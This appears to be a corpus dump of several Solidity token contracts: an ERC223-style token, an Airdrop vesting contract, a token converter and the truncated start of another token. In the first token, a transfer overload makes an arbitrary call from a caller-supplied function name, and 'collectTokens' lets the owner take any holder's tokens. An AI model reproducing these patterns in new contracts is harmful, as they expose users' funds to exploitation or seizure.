function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } function() payable public { autoDistribute(); } }
200,970
12,126
55b4479786cb41d9eff17ab675e88a9e66294b18697e08436732cdafa4b8eb7e
28,366
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/6f/6f35C00BcFEa009Fd0a06e7e027B92527e5AE4e2_Airdrop.sol
3,170
13,233
// SPDX-License-Identifier: MIT pragma solidity 0.6.11; // File: contracts/Dependencies/IERC20.sol interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Dependencies/IERC2612.sol interface IERC2612 { function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function nonces(address owner) external view returns (uint256); function version() external view returns (string memory); function permitTypeHash() external view returns (bytes32); function domainSeparator() external view returns (bytes32); } // File: contracts/Interfaces/IToken.sol interface IToken is IERC20, IERC2612 { // --- Functions --- function sendToTokenStaking(address _sender, uint256 _amount) external; function getDeploymentStartTime() external view returns (uint256); } // File: contracts/Dependencies/SafeMath.sol library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/Dependencies/upgradeable/AddressUpgradeable.sol library AddressUpgradeable { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/Dependencies/upgradeable/Initializable.sol // solhint-disable-next-line compiler-version abstract contract Initializable { bool public initialized; bool private _initializing; modifier initializer() { require(_initializing || _isConstructor() || !initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // File: contracts/Dependencies/upgradeable/ContextUpgradeable.sol abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } uint256[50] private __gap; } // File: contracts/Dependencies/upgradeable/OwnableUpgradeable.sol abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: contracts/protocol/global/rewards/Airdrop.sol contract Airdrop is OwnableUpgradeable { using SafeMath for uint; IToken public token; uint public unlockTime; uint public releaseTime; uint public totalRewards; address[] internal beneficiaries; mapping (address => uint) public beneficiaryRewards; mapping (address => uint) public beneficiaryWithdrawed; event Initialize(address token, uint totalRewards, uint _releaseTime); event StartRelease(uint unlockTime, uint rewardsPerBeneficiary); event Withdraw(address indexed beneficiary, uint amount); function initialize (address _tokenAddress, uint _totalRewards, uint _releaseTime) external initializer { __Ownable_init(); token = IToken(_tokenAddress); unlockTime = uint(-1); totalRewards = _totalRewards; releaseTime = _releaseTime; emit Initialize(_tokenAddress, _totalRewards, _releaseTime); } function setBeneficiary(address[] memory _beneficiaries) external onlyOwner { require(initialized, "not initialized"); require(unlockTime == uint(-1), "release started"); for (uint i = 0; i < _beneficiaries.length; i++) { address beneficiary = _beneficiaries[i]; beneficiaries.push(beneficiary); } } function startRelease() external onlyOwner { require(initialized, "not initialized"); require(unlockTime == uint(-1), "release started"); unlockTime = block.timestamp; uint beneficiariesCounts = beneficiaries.length; require(beneficiariesCounts > 0, "not set beneficiaries"); uint rewardsPerBeneficiary = totalRewards.div(beneficiariesCounts); require(token.balanceOf(address(this)) >= rewardsPerBeneficiary.mul(beneficiariesCounts), "Insufficient rewards"); for (uint i = 0; i < beneficiariesCounts; i++) { address beneficiary = beneficiaries[i]; beneficiaryRewards[beneficiary] = rewardsPerBeneficiary; } renounceOwnership(); emit StartRelease(unlockTime, rewardsPerBeneficiary); } function withdrawable(address _beneficiary) external view returns (uint) { if (block.timestamp <= unlockTime || beneficiaryRewards[_beneficiary] == 0) { return 0; } return _withdrawable(_beneficiary); } function withdraw(uint _amount) external { _requireLockupDurationHasPassed(); _requireIsBeneficiary(); uint withdrawableAmount = _withdrawable(msg.sender); require(_amount <= withdrawableAmount, "TeamLock: invalid amount"); beneficiaryWithdrawed[msg.sender] = beneficiaryWithdrawed[msg.sender].add(_amount); token.transfer(msg.sender, _amount); emit Withdraw(msg.sender, _amount); } function _withdrawable(address _beneficiary) internal view returns (uint) { uint rewards = beneficiaryRewards[_beneficiary]; uint released = rewards.mul(block.timestamp.sub(unlockTime)).div(releaseTime); uint withdrawableAmount = released.sub(beneficiaryWithdrawed[_beneficiary]); return withdrawableAmount; } function _requireLockupDurationHasPassed() internal view { require(block.timestamp >= unlockTime, "TeamLock: The lockup duration must have passed"); } function _requireIsBeneficiary() internal view { require(beneficiaryRewards[msg.sender] > 0, "TeamLock: not beneficiary"); } }
89,174
12,127
7e193e37094fa44edfb1354867120df64082d64fb0a917b880d3fd0250f2a214
36,441
.sol
Solidity
false
304681119
54meteor/palette
55e9e4fd024543b989f37560e47c2809ae23e2fc
contracts/swf/RSWFtoSWF.sol
4,150
16,295
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external virtual; function burn(uint256 amount) external virtual ; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function burnFrom(address account, uint256 amount) public override { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } function burn(uint256 amount) public override { _burn(_msgSender(), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract convetSWF is Ownable{ using SafeMath for uint; using SafeERC20 for IERC20; IERC20 public rswf; IERC20 public swf; uint public convertRate = 0; constructor(IERC20 _swf, IERC20 _rswf,uint _convertRate) public { swf = _swf; rswf = _rswf; convertRate = _convertRate; } function setConvertRate(uint _convertRate) external onlyOwner{ convertRate = _convertRate; } function checkExchange(uint rswfAmount) external view returns(uint){ return rswfAmount.mul(convertRate).div(1e8); } function getAvailable() public view returns(uint){ return swf.balanceOf(address(this)); } function exchange(uint rswfAmount) external { require(rswfAmount <= rswf.balanceOf(msg.sender),"rSWF balance is not enough"); uint swfAmount = rswfAmount.mul(convertRate).div(1e8); require(swfAmount <= swf.balanceOf(address(this)),"SWF balance is not enough"); rswf.burnFrom(msg.sender, rswfAmount); swf.safeTransfer(msg.sender, swfAmount); } }
18,516
12,128
2a868de5b1dd6adb5ee80224bcea37b687f4b08a5143779ec34fc718b2e1468b
16,561
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/e6/e6ce594e8c28d71a23b6315aa168cf5625cc36e4_METAXPASS.sol
3,685
15,616
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IPancakeFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IPancakePair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IPancakeRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity(address 